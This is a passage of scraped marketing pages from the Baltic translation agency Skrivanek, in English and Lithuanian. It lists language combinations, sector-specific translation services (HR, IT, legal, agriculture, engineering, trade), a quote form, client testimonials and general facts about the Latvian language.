one exchange agreement with the Alexandru Ioan Cuza University. There is also active cooperation in the field of writing – the International House of Writers and Translators in Ventspils has collaborated with the Port Cultural Cetate, which is happy to host residents from Latvia. Liana Langa and Peteris Cedrins have also resided there. The New Riga Theatre hosted a play in June 2017 named Brodskis/Barishnikovs (Brodskis/Barišņikovs) during the Sibiu International Theatre Festival. SOLUTIONS THAT WE PROVIDE MOST OFTEN FROM/TO ROMANIAN: general and specialised translation; notary-certified translation; localisation; neural machine translation; DTP – desktop publishing; text adaptation and copywriting; interpreting; language training; linguistic auditing. LANGUAGE COMBINATIONS: Latvian to Romanian; Romanian to Latvian; Estonian to Romanian; Romanian to Estonian; Lithuanian to Romanian; Romanian to Lithuanian; English to Romanian; Romanian to English; Russian to Romanian; Romanian to Russian; Czech to Romanian; Romanian to Czech; Polish to Romanian; Romanian to Polish; Ukrainian to Romanian; Romanian to Ukrainian; Romanian to Spanish; Spanish to Romanian; German to Romanian; Romanian to German; Italian to Romanian; Romanian to Italian; French to Romanian; Romanian to French; Danish to Romanian; Romanian to Danish; Norwegian to Romanian; Romanian to Norwegian; Swedish to Romanian; Romanian to Swedish; Finnish to Romanian; Romanian to Finnish and others. SOLUTIONS THAT WE PROVIDE MOST OFTEN FROM/TO ROMANIAN: general and specialised translation; notary-certified translation; localisation; neural machine translation; DTP – desktop publishing; text adaptation and copywriting; interpreting; language training; linguistic auditing. LANGUAGE COMBINATIONS: Latvian to Romanian; Romanian to Latvian; Estonian to Romanian; Romanian to Estonian; Lithuanian to Romanian; Romanian to Lithuanian; English to Romanian; Romanian to English; Russian to Romanian; Romanian to Russian; Czech to Romanian; Romanian to Czech; Polish to Romanian; Romanian to Polish; Ukrainian to Romanian; Romanian to Ukrainian; Romanian to Spanish; Spanish to Romanian; German to Romanian; Romanian to German; Italian to Romanian; Romanian to Italian; French to Romanian; Romanian to French; Danish to Romanian; Romanian to Danish; Norwegian to Romanian; Romanian to Norwegian; Swedish to Romanian; Romanian to Swedish; Finnish to Romanian; Romanian to Finnish and others. --- > General and specialised, notary-certified translations and interpreting services. Latvian language courses. 30+ years of experience! - Published: 2022-08-31 - Modified: 2025-07-02 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-latviesu-valoda/ LATVIAN TRANSLATIONS HOW MUCH DO LATVIAN TRANSLATIONS COST? The cost for every order is calculated individually. The price varies depending on various essential components – the translation deadline, field specificity, accessibility to terminology, correction, formatting, image, sketch, and graphic formatting, as well as additional services requested by the client (notarial certificates, document authentication with apostille, etc. ) IS THE PRICE LIST AVAILABLE? Yes, the price list of written translation and interpretation to and from Latvian is usually an integral part of our cooperation agreement with the client, therefore we always provide detailed information regarding the translation price prior to beginning a project. The price of every offer is calculated individually in accordance with the current price list and taking into account the number of words and repetitions in the source material, as well as other parameters. Just send us your material to our e-mail to receive a price offer. Contact Skrivanek Baltic today for a free quote on Latvian translation or any other combination of translation and related business services. Our Latvian language services include: Latvian Document Translation Latvian Simultaneous Interpretation Latvian Linguistic Validation Latvian Consecutive Interpretation Latvian Transcription Latvian Typesetting and Graphics Latvian Voiceovers and Subtitling Latvian Staffing Solutions Latvian Multicultural Marketing Latvian Document Management Latvian Deposition Services Latvian Virtual Data Room Services Latvian E-learning Support Looking for a language solution in Latvian? We will prepare a tailored solution and consult you on your subject of interest. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Client *Private personCompany Name and surname *Telephone Add Remove Name and surname *Telephone Add Remove Company name *Telephone Add Remove Company name *Telephone Add Remove Email *Target language Add Remove Email *Target language Add Remove Additional informationDocument upload, max. 20 MB, if document exceeds the limit, write it in your message and we will contact you Click or drag files to this area to upload. You can upload up to 10 files. How did you learn about us? How did you learn about us? I am a Skrivanek clientGoogle search engineFriend/acquaintance suggestionFacebookTwitterLinkedInInstagramOutdoor advertisingTrade fair/exhibitionPrinted advertisingOther By clicking the "Send" button, you consent to the processing of your personal data in accordance with Skrivanek Baltic Privacy Policy. Submit Quality and confidentiality guaranteed by ISO certificates Our project managers speak Latvian, Russian, English, German and Polish99% of customers receive a price quote in less than 15 minutesMore than 3000 language professionals and native speakersMore than 98% of our clients would recommend us to their friends and partnersMore than 60 million words are translated in our office every year FACTS ABOUT THE LATVIAN LANGUAGE The roots of the Latvian language began in Sanskrit. It comes from the Indo-European language family and is one of the oldest languages in Europe. Nowadays only Lithuanian is related to Latvian, and these two languages make up a separate branch in the classification of languages of Europe. Latvian has three main dialects – Livonian, the Middle dialect, and the High dialect. The Middle dialect is the base for literary Latvian. Latvian is the native language of roughly 1. 3 million people, mainly in Latvia where it’s the state language. Around 400,000 speakers of Latvian live abroad – in Russia, the USA, Canada, Australia and so on. Of course, Latvian as a second language is used by about half a million people of other nationalities living in Latvia. And the fact that Latvian coincidentally survived the invasion of other nations close and far is quite surprising. The explanation for this phenomenon could be found in Latvian customs and traditions. Here, it is worth mentioning the collected 200,000 state songs between 1894 and 1915 by K. Barons, which are in the World Heritage List. The Latvian alphabet has 33 letters. In Latvian, the first syllable is almost always stressed. There are three intonations – even, falling, and broken. The first printed book in Latvian was Katoļu katķisms (Catholic Catechism), published in Vilnius in 1585. The book is preserved even now. In 1644, the first grammar book was published. The first weekly newspaper Latviešu Avīze (the Latvian Newspaper) had been published in Jelgava from 1822 until 1915. In 1918 the Republic of Latvia recognised Latvian as the state language, but in 1944, as a result of the occupation, the status was removed. In 1988, a law was passed regarding the renewal of the language status. There are about 20 universities in the world that offer accredited Latvian studies. The longest word in Latvian is ‘pretpulksteņrādītājvirziens’ (counterclockwise). THE LATVIAN ALPHABET The base of the Latvian alphabet is 16th century Latin, when German ministers printed the first books by the principles of German or using Fraktur. For many centuries, the gothic and Latin writing had been used in parallel. Only in the second half of the 20th century did the Latvian alphabet become what it is today. The Latvian alphabet consists of 33 letters. HOW COMPLEX IS THE LATVIAN LANGUAGE? Nowadays, an increasing number of people are choosing to learn the Latvian language for various reasons. For some it’s needed in work, and others want to learn the language before visiting Latvia. There are also some people who want to pleasantly surprise their friends and family, to whom Latvian is native. There are a lot of foreigners who are mesmerised by the sound of Latvian, additionally raising interest not only in the language, but in the culture, traditions, and the state as well. Latvian grammar is one of the most complex in the world. The language is very flexible, it has many cases, and soft and hard sounds, which make it harder to learn the language. It’s hard to use linguistic constructions containing the genitive case when other languages don’t even have it. OTHER COMMON LANGUAGES IN LATVIA The most widespread languages among Latvians are Latvian, English, and Russian. For a small number of citizens Belarusian, Ukrainian, Polish, Lithuanian, Romani, Estonian, and German are their native languages. WHERE AND HOW MANY SPEAK LATVIAN? Currently, the spread of Latvian coincides with the country’s border. To roughly 1. 5 million citizens it is their native tongue. 1. 38 million of them live in Latvia, while others live elsewhere in the world – the USA, Canada, Sweden, Russia, Australia, Great Britain, Germany and others. Latvian as a second language is used by half a million residents of other nationalities living in Latvia. WHAT REGULATES THE USE OF LANGUAGE IN THE PRESS? The State Language Centre governs the use of the Latvian language in the press and media. LATVIAN IN BUSINESS Latvian is significant in business relations in Latvia. For around 60% of Latvian residents it is their daily language of communication both at home and in the workplace. Outside of Latvia, Latvian is not used for business purposes. OUR MOST POPULAR LATVIAN LANGUAGE SOLUTIONS: general and specialised translation; notary-certified translation localisation; neural machine translation; DTP – desktop publishing; text adaptation and copywriting; interpreting; Latvian language courses; children camps. LANGUAGE COMBINATIONS: Latvian to English; English to Latvian; Estonian to Latvian; Latvian to Estonian; Lithuanian to Latvian; Latvian to Lithuanian; Russian to Latvian; Latvian to Russian; Czech to Latvian; Latvian to Czech; Polish to Latvian; Latvian to Polish; Ukrainian to Latvian; Latvian to Ukrainian; Latvian to Spanish; Spanish to Latvian; German to Latvian; Latvian to German; Italian to Latvian; Latvian to Italian; French to Latvian; Latvian to French; Danish to Latvian; Latvian to Danish; Norwegian to Latvian; Latvian to Norwegian; Swedish to Latvian; Latvian to Swedish; Finnish to Latvian; Latvian to Finnish and others. OUR MOST POPULAR LATVIAN LANGUAGE SOLUTIONS: general and specialised translation; notary-certified translation localisation; neural machine translation; DTP – desktop publishing; text adaptation and copywriting; interpreting; Latvian language courses; children camps. LANGUAGE COMBINATIONS: Latvian to English; English to Latvian; Estonian to Latvian; Latvian to Estonian; Lithuanian to Latvian; Latvian to Lithuanian; Russian to Latvian; Latvian to Russian; Czech to Latvian; Latvian to Czech; Polish to Latvian; Latvian to Polish; Ukrainian to Latvian; Latvian to Ukrainian; Latvian to Spanish; Spanish to Latvian; German to Latvian; Latvian to German; Italian to Latvian; Latvian to Italian; French to Latvian; Latvian to French; Danish to Latvian; Latvian to Danish; Norwegian to Latvian; Latvian to Norwegian; Swedish to Latvian; Latvian to Swedish; Finnish to Latvian; Latvian to Finnish and others. --- > Kokybiški sprendimai turizmo pramonei: vertimas raštu, vertimas žodžiu, notaro patvirtinimas. Lokalizavimas ir kalbų mokymas. Sužinokite daugiau! - Published: 2022-07-13 - Modified: 2024-01-03 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-hr-nozarei/ - Translation Priorities: Optional Dirbdami žmogiškųjų išteklių (ŽI) srityje, siekiate surasti geriausius savo srities specialistus, galinčius ir norinčius prisidėti prie jūsų atstovaujamų projektų, ir kreiptis į juos. „Skrivanek“ komandą sudaro kalbų specialistai, kurie padės jums rasti tinkamus žodžius užsienio kalba, kad galėtumėte pasirinkti tuos, kurie kartu dirba jūsų srityje. Tai ypač svarbu ieškant darbuotojų, kurie turi mokėti bendrauti įvairiomis kalbomis – naudodamiesi mūsų unikaliu FOCUS įrankiu galite greitai ir veiksmingai nustatyti kandidatų gebėjimą bendrauti užsienio kalbomis, taip pat nustatyti jų užsienio kalbų įgūdžių lygį. Jei jums reikia patobulinti esamų darbuotojų kalbų įgūdžius, jūsų laukia „Skrivanek“ mokymo centras, kuriame galite mokytis užsienio kalbų įvairiais lygiais ir intensyvumu. Mūsų Mokymo centro kokybės įrodymas – mūsų siūlomi intensyvūs kalbų kursai valstybės tarnautojams, skirti pasirengti Latvijos pirmininkavimui Europos Sąjungos Taryboje. Žmogiškųjų išteklių srityje gebėjimas perduoti darbuotojams vieningą žinią apie įmonės vertybes yra labai svarbus, neatsižvelgiant į tai, kokia kalba bendraujama. „Skrivanek“ kalbų specialistai parengs tikslius tekstus visomis Europoje plačiai vartojamomis kalbomis tiek raštu, tiek žodžiu ir užtikrins, kad idėja nebūtų prarasta vertime. „Skrivanek“ vertėjai kokybiškai išvers visą jums reikalingą medžiagą, įskaitant darbo sutartis, įmonės nuostatus, įmonės vidaus ataskaitas ir kitus pranešimus. Mūsų kalbų specialistai gerai išmano skirtingų kultūrų ir vietos rinkų skirtumus, kad sukurtų tekstus, skirtus konkrečiai bet kurios šalies ar kalbos auditorijai, ir sugeba pritaikyti tekstus taip, kad jie būtų suprantami bet kuriai tikslinei auditorijai. MŪSŲ ŽMOGIŠKŲJŲ IŠTEKLIŲ SRITIES VERTIMO PASLAUGOS TEIKIAMOS VISOMIS POPULIARIAUSIOMIS EUROPOS KALBŲ KOMBINACIJOMIS IR APIMA: darbo sutartis ir kitus susitarimus; dalyvavimą pokalbiuose dėl darbo ir kandidatų kalbinių įgūdžių vertinimą; vidaus darbo tvarkos taisykles; vidinės komunikacijos medžiaga; rekomendacinius laiškus; sinchroninį arba nuoseklųjį vertimą žodžiu įvairiuose renginiuose, įskaitant konferencijas, verslo pietus arba vakarienes ir verslo susitikimus; FOCUS personalo atrankos sprendimus; ir kitas jums reikalingas kalbų paslaugas. IŠKLAUSYSIME JŪSŲ POREIKIUS IR PARENGSIME SPECIALIAI JUMS SKIRTĄ PASIŪLYMĄ. Susisiekite su mumis Draudimas Statyba Žmogiškieji ištekliai (HR) Finansai ir bankininkystė IT ir žaidimai Žemės ūkis Teisė Miškininkystė Mechaninė inžinerija ir geležinkeliai Medicina ir klinikiniai tyrimai Gamyba Reklama ir rinkodara Prekyba Turizmas Valstybinės ir savivaldybių institucijos KĄ APIE MUS SAKO MŪSŲ KLIENTAI? KRKA D. D. Skrivanek“ darbuotojai yra paslaugūs, norintys patenkinti ir gerai supranta mūsų farmacinių vertimo užduočių ir vertimų iš įvairių kalbų kombinacijų specifiką. Užsakymai atliekami aukštu standartu nustatytu laiku ir atitinka aukščiausias profesines ir etines kompetencijas.  SANDOZ D. D. Mes rekomenduojame „Skrivanek Baltic“ kaip patikimą didelių projektų, reikalaujančių profesionalių kalbos paslaugų, partnerį.  ADIDAS BALTICS „Skrivanek“ darbuotojai yra paslaugūs ir gerai supranta mūsų vertimų iš baltų kalbų specifiką. „Adidas Baltic“ rekomenduoja kitoms įmonėms naudotis šios įmonės teikiamomis paslaugomis.  --- > Kokybiški sprendimai IT ir žaidimų pramonei: vertimas raštu, vertimas žodžiu, notaro patvirtinimas. Lokalizavimas ir kalbų mokymas. Sužinokite daugiau! - Published: 2022-07-13 - Modified: 2024-01-03 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-it-un-spelu-nozarei/ - Translation Priorities: Optional Informacinių technologijų (IT) pramonė kalba savo kalba. Būdami IT specialistai žinote, kaip svarbu, kad bendraujant su kolegomis būtų vartojami tikslūs terminai ir kad informaciją galutiniam naudotojui būtų galima perduoti kuo paprasčiau. „Skrivanek“ kalbos specialistai gali nutiesti tiltą tarp IT specialistų ir klientų, kurdami patogius ir lengvai suprantamus tekstus. „Skrivanek“ teikia tikslius ir preciziškus vertimus raštu ir žodžiu IT ir žaidimų pramonės įmonėms ir laikosi nustatytų terminų. Mūsų komandą sudaro patyrę kalbos specialistai, kurie išmano IT pramonės terminologiją ir seka jos naujoves, taip pat geba tiksliai apibūdinti produktų technines specifikacijas. Nesvarbu, ar jums reikia rašytinio teksto vertimo, kalbos mokymų eksporto rinkoms, ar vertėjo žodžiu įvairiuose verslo susitikimuose, „Skrivanek“ specialistai mielai pasiūlys norimus sprendimus. „Skrivanek“ kalbų specialistai kokybiškai išvers visą jūsų medžiagą, įskaitant įvairius vadovus, techninius aprašymus, įmonės leidinius, rinkodaros medžiagą ir kitus tekstus. Mūsų vertėjų žinios leidžia mums kokybiškai lokalizuoti programinę įrangą, įskaitant kompiuterinių žaidimų vertimą. Mūsų specialistai vertimo procese taip pat naudoja įvairias automatines programas, kurios padeda naudoti programų kodus ir komandas, ypač svarbias IT pramonėje. MŪSŲ IT SRITIES VERTIMO PASLAUGOS TEIKIAMOS VISOMIS POPULIARIAUSIOMIS EUROPOS KALBŲ KOMBINACIJOMIS IR APIMA: programų lokalizavimą ir kompiuterinių žaidimų vertimus; Google Ads ir SEO vertimai; naudojimo instrukcijų vertimus; korporatyvinės medžiagos paruošimą; kolegų recenzijų, straipsnių ir pranešimų spaudai vertimus; sutarčių, sąlygų ir licencijų vertimus; sinchroninius arba nuosekliuosius vertimus žodžiu įvairiuose renginiuose, įskaitant seminarus, konferencijas ir verslo susitikimus; specializuotą kalbų mokymą; ir kitas jums reikalingas kalbų paslaugas. IŠKLAUSYSIME JŪSŲ POREIKIUS IR PARENGSIME SPECIALIAI JUMS SKIRTĄ PASIŪLYMĄ. Susisiekite su mumis Draudimas Statyba Žmogiškieji ištekliai (HR) Finansai ir bankininkystė IT ir žaidimai Žemės ūkis Teisė Miškininkystė Mechaninė inžinerija ir geležinkeliai Medicina ir klinikiniai tyrimai Gamyba Reklama ir rinkodara Prekyba Turizmas Valstybinės ir savivaldybių institucijos KĄ APIE MUS SAKO MŪSŲ KLIENTAI? KRKA D. D. Skrivanek“ darbuotojai yra paslaugūs, norintys patenkinti ir gerai supranta mūsų farmacinių vertimo užduočių ir vertimų iš įvairių kalbų kombinacijų specifiką. Užsakymai atliekami aukštu standartu nustatytu laiku ir atitinka aukščiausias profesines ir etines kompetencijas.  SANDOZ D. D. Mes rekomenduojame „Skrivanek Baltic“ kaip patikimą didelių projektų, reikalaujančių profesionalių kalbos paslaugų, partnerį.  ADIDAS BALTICS „Skrivanek“ darbuotojai yra paslaugūs ir gerai supranta mūsų vertimų iš baltų kalbų specifiką. „Adidas Baltic“ rekomenduoja kitoms įmonėms naudotis šios įmonės teikiamomis paslaugomis.  --- > Kokybiški sprendimai teisės sektoriui: vertimas raštu, vertimas žodžiu, notaro patvirtinimas. Lokalizavimas ir kalbų mokymas. Sužinokite daugiau! - Published: 2022-07-13 - Modified: 2024-01-03 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-jurisprudences-nozarei/ - Translation Priorities: Optional Jurisprudencijos sritis, kuriai atstovaujate, daro įtaką nesuskaičiuojamai daugybei įvykių ir procesų, įskaitant net žmonių likimus, todėl kaip niekas kitas suprantate, kaip svarbu tiksliai parinkti žodžius ir suformuluoti mintis. „Skrivanek“ kalbų specialistai gerai išmano teisinės sistemos ypatumus, o mūsų vertimo paslaugos leis jums susitelkti į tiesioginį darbą. Nesvarbu, ar jums reikia išversti sutartis, įstatymus ir kitus teisės aktus, teismo sprendimus, ar vertėjo žodžiu, kad galėtumėte dalyvauti teismo procese, „Skrivanek“ kalbų specialistai mielai suteiks reikiamą pagalbą. Jei reikia, galime užtikrinti sinchroninį vertimą į gestų kalbą. Mūsų komandą sudaro specialistai, išmanantys teisinių tekstų vertimo ypatumus ir gebantys išversti originalo kalbos tekstą taip, kad vertimas tiksliai atspindėtų originalaus dokumento turinį ir turėtų tą pačią teisinę prasmę užsienio kalba. Verčiant teisinius tekstus ir dokumentus įsipareigojame laikytis dokumentų rengimo ir pateikimo reikalavimų. Konfidencialumas yra mūsų prioritetas dirbant su bet kurios pramonės šakos tekstais ir klientais. Taip pat esame ISO 27001 ir ISO 9001 sertifikuota įmonė. Didžiuojamės ir esame dėkingi už aktyvų bendradarbiavimą su įvairiomis valstybės ir savivaldos institucijomis, ES agentūromis ir žinomomis advokatų kontoromis. MŪSŲ TEISĖS SRITIES VERTIMO PASLAUGOS TEIKIAMOS VISOMIS POPULIARIAUSIOMIS EUROPOS KALBŲ KOMBINACIJOMIS IR APIMA: įstatymų ir kitų norminių teisės aktų bei jų projektų vertimus; sutarčių ir jų projektų vertimus; teismų sprendimų, teismų praktikos ir jurisprudencijos vertimus; ieškinių, skundų ir pareiškimų vertimus; įgaliojimų vertimus; išvadų, ekspertų nuomonių vertimus; sinchroninį arba nuoseklųjį vertimą žodžiu įvairiuose renginiuose, įskaitant teisminius procesus, taip pat vertimą gestų kalba; specializuotus kalbų mokymus, skirtus įvairiems žinių lygiams; užsienio atstovų asistentų paslaugas; ir kitas jums reikalingas kalbų paslaugas. IŠKLAUSYSIME JŪSŲ POREIKIUS IR PARENGSIME SPECIALIAI JUMS SKIRTĄ PASIŪLYMĄ. Susisiekite su mumis Draudimas Statyba Žmogiškieji ištekliai (HR) Finansai ir bankininkystė IT ir žaidimai Žemės ūkis Teisė Miškininkystė Mechaninė inžinerija ir geležinkeliai Medicina ir klinikiniai tyrimai Gamyba Reklama ir rinkodara Prekyba Turizmas Valstybinės ir savivaldybių institucijos KĄ APIE MUS SAKO MŪSŲ KLIENTAI? KRKA D. D. Skrivanek“ darbuotojai yra paslaugūs, norintys patenkinti ir gerai supranta mūsų farmacinių vertimo užduočių ir vertimų iš įvairių kalbų kombinacijų specifiką. Užsakymai atliekami aukštu standartu nustatytu laiku ir atitinka aukščiausias profesines ir etines kompetencijas.  SANDOZ D. D. Mes rekomenduojame „Skrivanek Baltic“ kaip patikimą didelių projektų, reikalaujančių profesionalių kalbos paslaugų, partnerį.  ADIDAS BALTICS „Skrivanek“ darbuotojai yra paslaugūs ir gerai supranta mūsų vertimų iš baltų kalbų specifiką. „Adidas Baltic“ rekomenduoja kitoms įmonėms naudotis šios įmonės teikiamomis paslaugomis.  --- > Kokybiški kalbiniai sprendimai žemės ūkiui ir miškininkystei: vertimas raštu, vertimas žodžiu, notaro patvirtinimas. Lokalizavimas ir kalbų mokymas. Sužinokite daugiau! - Published: 2022-07-13 - Modified: 2024-01-03 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-lauksaimniecibas-un-mezkopibas-nozarei/ - Translation Priorities: Optional Žemės ūkio ir miškininkystės sektoriai yra svarbūs Latvijos ekonomikai, o jų plėtra neįsivaizduojama be bendradarbiavimo su partneriais kitose šalyse. Bendravimas be kalbos barjerų yra viena iš sėkmingos verslo plėtros sąlygų. „Skrivanek“ kalbų specialistai padės jums bendrauti tiek su klientais ir partneriais, tiek su Europos Sąjungos institucijomis, kad galėtumėte visas jėgas skirti tiesioginėms užduotims atlikti. Mūsų vertėjai raštu ir žodžiu turi daug patirties tiek verčiant įvairią dokumentaciją, tiek verčiant žodžiu didelius tarptautinius projektus. Be to, mūsų specialistai išmano žemės ūkio sritį, todėl galime atlikti tikslius vertimus su atitinkama terminologija, išversti tiek įvairių žemės ar miškų ūkio mašinų naudojimo instrukcijas, tiek tinkamo pasėlių auginimo instrukcijas mūsų regione. „Skrivanek“ kalbų specialistų komanda yra pakankamai didelė, kad galėtų parinkti jūsų poreikiams tinkamiausią vertėją. Žemės ūkis, gyvulininkystė, paukštininkystė, kiaulininkystė, avininkystė, augalininkystė, veislininkystė, miškų kirtimas, miškininkystė, žemės ūkio melioracija – mūsų kalbos specialistai turi šias specializacijas, todėl mus dažnai renkasi kaip partnerius valstybinės ir savivaldybių institucijos bei šiose srityse veikiančios įmonės. MŪSŲ ŽEMĖS ŪKIO IR MIŠKININKYSTĖS SRITIES VERTIMO PASLAUGOS TEIKIAMOS VISOMIS POPULIARIAUSIOMIS EUROPOS KALBŲ KOMBINACIJOMIS IR APIMA: techninių reglamentų ir technologinės dokumentacijos vertimus; produktų ir pramonės šakų technologijų aprašymų vertimus; mokslinių straipsnių ir tyrimų vertimus; techninės priežiūros ir eksploatavimo dokumentų vertimus; įvairių rūšių licencijų, leidimų ir kitų dokumentų vertimus; ES direktyvų paaiškinimus ir patikslinimus; sinchroninius arba nuosekliuosius vertimus žodžiu įvairiuose renginiuose, įskaitant konferencijas, seminarus, mainų vizitus ir verslo susitikimus; specializuotą kalbų mokymą; ir kitas jums reikalingas kalbų paslaugas. IŠKLAUSYSIME JŪSŲ POREIKIUS IR PARENGSIME SPECIALIAI JUMS SKIRTĄ PASIŪLYMĄ. Susisiekite su mumis Draudimas Statyba Žmogiškieji ištekliai (HR) Finansai ir bankininkystė IT ir žaidimai Žemės ūkis Teisė Miškininkystė Mechaninė inžinerija ir geležinkeliai Medicina ir klinikiniai tyrimai Gamyba Reklama ir rinkodara Prekyba Turizmas Valstybinės ir savivaldybių institucijos KĄ APIE MUS SAKO MŪSŲ KLIENTAI? KRKA D. D. Skrivanek“ darbuotojai yra paslaugūs, norintys patenkinti ir gerai supranta mūsų farmacinių vertimo užduočių ir vertimų iš įvairių kalbų kombinacijų specifiką. Užsakymai atliekami aukštu standartu nustatytu laiku ir atitinka aukščiausias profesines ir etines kompetencijas.  SANDOZ D. D. Mes rekomenduojame „Skrivanek Baltic“ kaip patikimą didelių projektų, reikalaujančių profesionalių kalbos paslaugų, partnerį.  ADIDAS BALTICS „Skrivanek“ darbuotojai yra paslaugūs ir gerai supranta mūsų vertimų iš baltų kalbų specifiką. „Adidas Baltic“ rekomenduoja kitoms įmonėms naudotis šios įmonės teikiamomis paslaugomis.  --- > Kokybiški sprendimai inžinerijai ir geležinkeliams: vertimas raštu, vertimas žodžiu, notarinis patvirtinimas. Lokalizavimas ir kalbų mokymas. Sužinokite daugiau! - Published: 2022-07-13 - Modified: 2024-01-03 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-masinbuves-un-dzelzcela-nozarei/ - Translation Priorities: Optional Mechanikos inžinerijos ir geležinkelių pramonėje tikslumas ir punktualumas yra vienos svarbiausių savybių. Žinote, kad nukrypimų negali būti, todėl jums reikia partnerio, kuris prisiimtų atsakomybę už jam pavestas užduotis. Be to, atsižvelgiant į pasaulinę sektoriaus svarbą, jo įvairovę ir didelę pridėtinę vertę, partneriams taip pat reikia įvairių žinių ir patirties. Kasdien naudojame šiuolaikines technologijas, kad padidintume kokybę ir našumą, todėl galime sutaupyti ir jūsų išteklius. Per pastaruosius du dešimtmečius „Skrivanek“ kalbų ekspertai išvertė nesuskaičiuojamą daugybę inžinerijos ir geležinkelių pramonės projektų, o šiuo metu aktyviai dalyvaujame įgyvendinant Baltijos šalių geležinkelių infrastruktūros plėtros projektą. Galime visiškai atsakingai teigti, kad šioje srityje turime daug patirties, reikiamų techninių žinių ir tiksliai laikomės nustatytų terminų. Nesvarbu, ar jums reikia rašytinio teksto vertimo, ar tiesioginio vertimo žodžiu paslaugų įvairiuose verslo susitikimuose, „Skrivanek“ vertėjai žodžiu ir raštu užtikrins, kad gautumėte norimą rezultatą. „Skrivanek“ kalbų ekspertai kokybiškai išvers visą mums patikėtą medžiagą, įskaitant įmonių leidinius, sutartis, konkursų nuostatus ir technines specifikacijas, įvairią rinkodaros medžiagą ir kitus jums reikalingus tekstus. Mūsų kalbos specialistų komandoje dirba ne tik filologinį išsilavinimą, bet ir inžinerijos mokslų srities išsilavinimą ir patirties turintys žmonės. Tai labai svarbu norint teisingai vartoti specifinę terminiją. Metalo gamyba ir apdirbimas, mechanizmų ir darbo mašinų gamyba, transporto priemonių, įskaitant automobilius ir priekabas, gamyba, sistemų notifikavimas, įrangos remontas, elektroninės ir optinės įrangos gamyba, taip pat viskas, ko reikia geležinkelių pramonei ir kas glaudžiai susiję su mechanine inžinerija ir metalo apdirbimu – mūsų specialistai turi reikiamos kompetencijos, kad pateiktų tinkamos kokybės vertimą. MŪSŲ INŽINERIJOS IR GELEŽINKELIŲ SRITIES VERTIMO PASLAUGOS TEIKIAMOS VISOMIS POPULIARIAUSIOMIS EUROPOS KALBŲ KOMBINACIJOMIS IR APIMA: gaminamų produktų aprašymų vertimus; įrangos montavimo instrukcijų ir naudojimo vadovų vertimus, sistemos pranešimus; verslo korespondencijos vertimus, atitinkančius terminologiją; reklaminių tekstų, rinkodaros medžiagos, metinių ataskaitų vertimus; sinchroninio arba nuosekliojo vertimo paslaugas įvairiuose seminaruose, konferencijose ir verslo susitikimuose; įvairaus intensyvumo kalbų kursus, skirtus skirtingiems žinių lygiams; DTP – grafinio dizaino paslaugas, skirtas tinkamam medžiagos pateikimui; taip pat kitas jūsų poreikius atitinkančias paslaugas. IŠKLAUSYSIME JŪSŲ POREIKIUS IR PARENGSIME SPECIALIAI JUMS SKIRTĄ PASIŪLYMĄ. Susisiekite su mumis Draudimas Statyba Žmogiškieji ištekliai (HR) Finansai ir bankininkystė IT ir žaidimai Žemės ūkis Teisė Miškininkystė Mechaninė inžinerija ir geležinkeliai Medicina ir klinikiniai tyrimai Gamyba Reklama ir rinkodara Prekyba Turizmas Valstybinės ir savivaldybių institucijos KĄ APIE MUS SAKO MŪSŲ KLIENTAI? KRKA D. D. Skrivanek“ darbuotojai yra paslaugūs, norintys patenkinti ir gerai supranta mūsų farmacinių vertimo užduočių ir vertimų iš įvairių kalbų kombinacijų specifiką. Užsakymai atliekami aukštu standartu nustatytu laiku ir atitinka aukščiausias profesines ir etines kompetencijas.  SANDOZ D. D. Mes rekomenduojame „Skrivanek Baltic“ kaip patikimą didelių projektų, reikalaujančių profesionalių kalbos paslaugų, partnerį.  ADIDAS BALTICS „Skrivanek“ darbuotojai yra paslaugūs ir gerai supranta mūsų vertimų iš baltų kalbų specifiką. „Adidas Baltic“ rekomenduoja kitoms įmonėms naudotis šios įmonės teikiamomis paslaugomis.  --- > Kokybiški sprendimai prekybos pramonei: vertimas raštu, vertimas žodžiu, notaro patvirtinimas. Lokalizavimas ir kalbų mokymas. Sužinokite daugiau! - Published: 2022-07-13 - Modified: 2024-01-03 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-tirdzniecibas-nozarei/ - Translation Priorities: Optional Kad galėtumėte kreiptis į klientą, turite mokėti jo kalbą. Būdami pardavimų specialistai žinote, kad sklandus bendravimas yra viena iš sėkmingo verslo sąlygų, ypač šiandien, kai verslas vykdomas tarptautiniu ir pasauliniu mastu. „Skrivanek“ kalbų specialistai padės jums bendrauti su klientais ir partneriais visame pasaulyje daugiau nei 110 kalbų. Be to, modernus ir į rezultatus orientuotas „Skrivanek“ požiūris skatins jūsų verslo plėtrą. „Skrivanek“ komandą sudaro kalbų specialistai, kurie ne tik moka reikiamą užsienio kalbą, bet ir atkreipia dėmesį į ta kalba kalbančių žmonių kultūros ypatumus. Atliekame vertimus, tačiau prireikus galime patobulinti anksčiau parengtus tekstus, juos sukurti ir pritaikyti, atsižvelgdami į jūsų klientų kultūrinius, aplinkos ir rinkos ypatumus. Turime daug patirties verčiant sutartis, rinkodaros ir reklaminę medžiagą, katalogus, produktų aprašymus ir kitus pramonei svarbius tekstus. Dirbame su įvairiomis mažmeninės prekybos įmonėmis – nuo mažų privačių įmonių iki tarptautiniu mastu svarbių mažmeninės prekybos tinklų, todėl galime drąsiai teigti, kad galime pasiūlyti jums reikalingus kalbinius sprendimus. Jums nereikia nerimauti dėl darbo atlikimo terminų – „Skrivanek“ kalbų specialistai ir projektų vadovai kasdien naudoja moderniausias programas, todėl kokybiškus kalbinius sprendimus galime pateikti per trumpesnį laiką. MŪSŲ PREKYBOS SRITIES VERTIMO PASLAUGOS TEIKIAMOS VISOMIS POPULIARIAUSIOMIS EUROPOS KALBŲ KOMBINACIJOMIS IR APIMA: sinchroninį ir nuoseklųjį vertimą žodžiu įvairiuose renginiuose, įskaitant konferencijas, seminarus ir muges, taip pat verslo susitikimus; įvairios rinkodaros ir reklaminės medžiagos, įskaitant produktų aprašymus, vertimus, taip pat DPT – grafinio dizaino paslaugas; įvairius techninius dokumentus, įskaitant naudotojo vadovų, techninės priežiūros ir eksploatavimo dokumentų bei katalogų vertimus; įvairaus intensyvumo kalbų kursus visiems kalbos mokėjimo 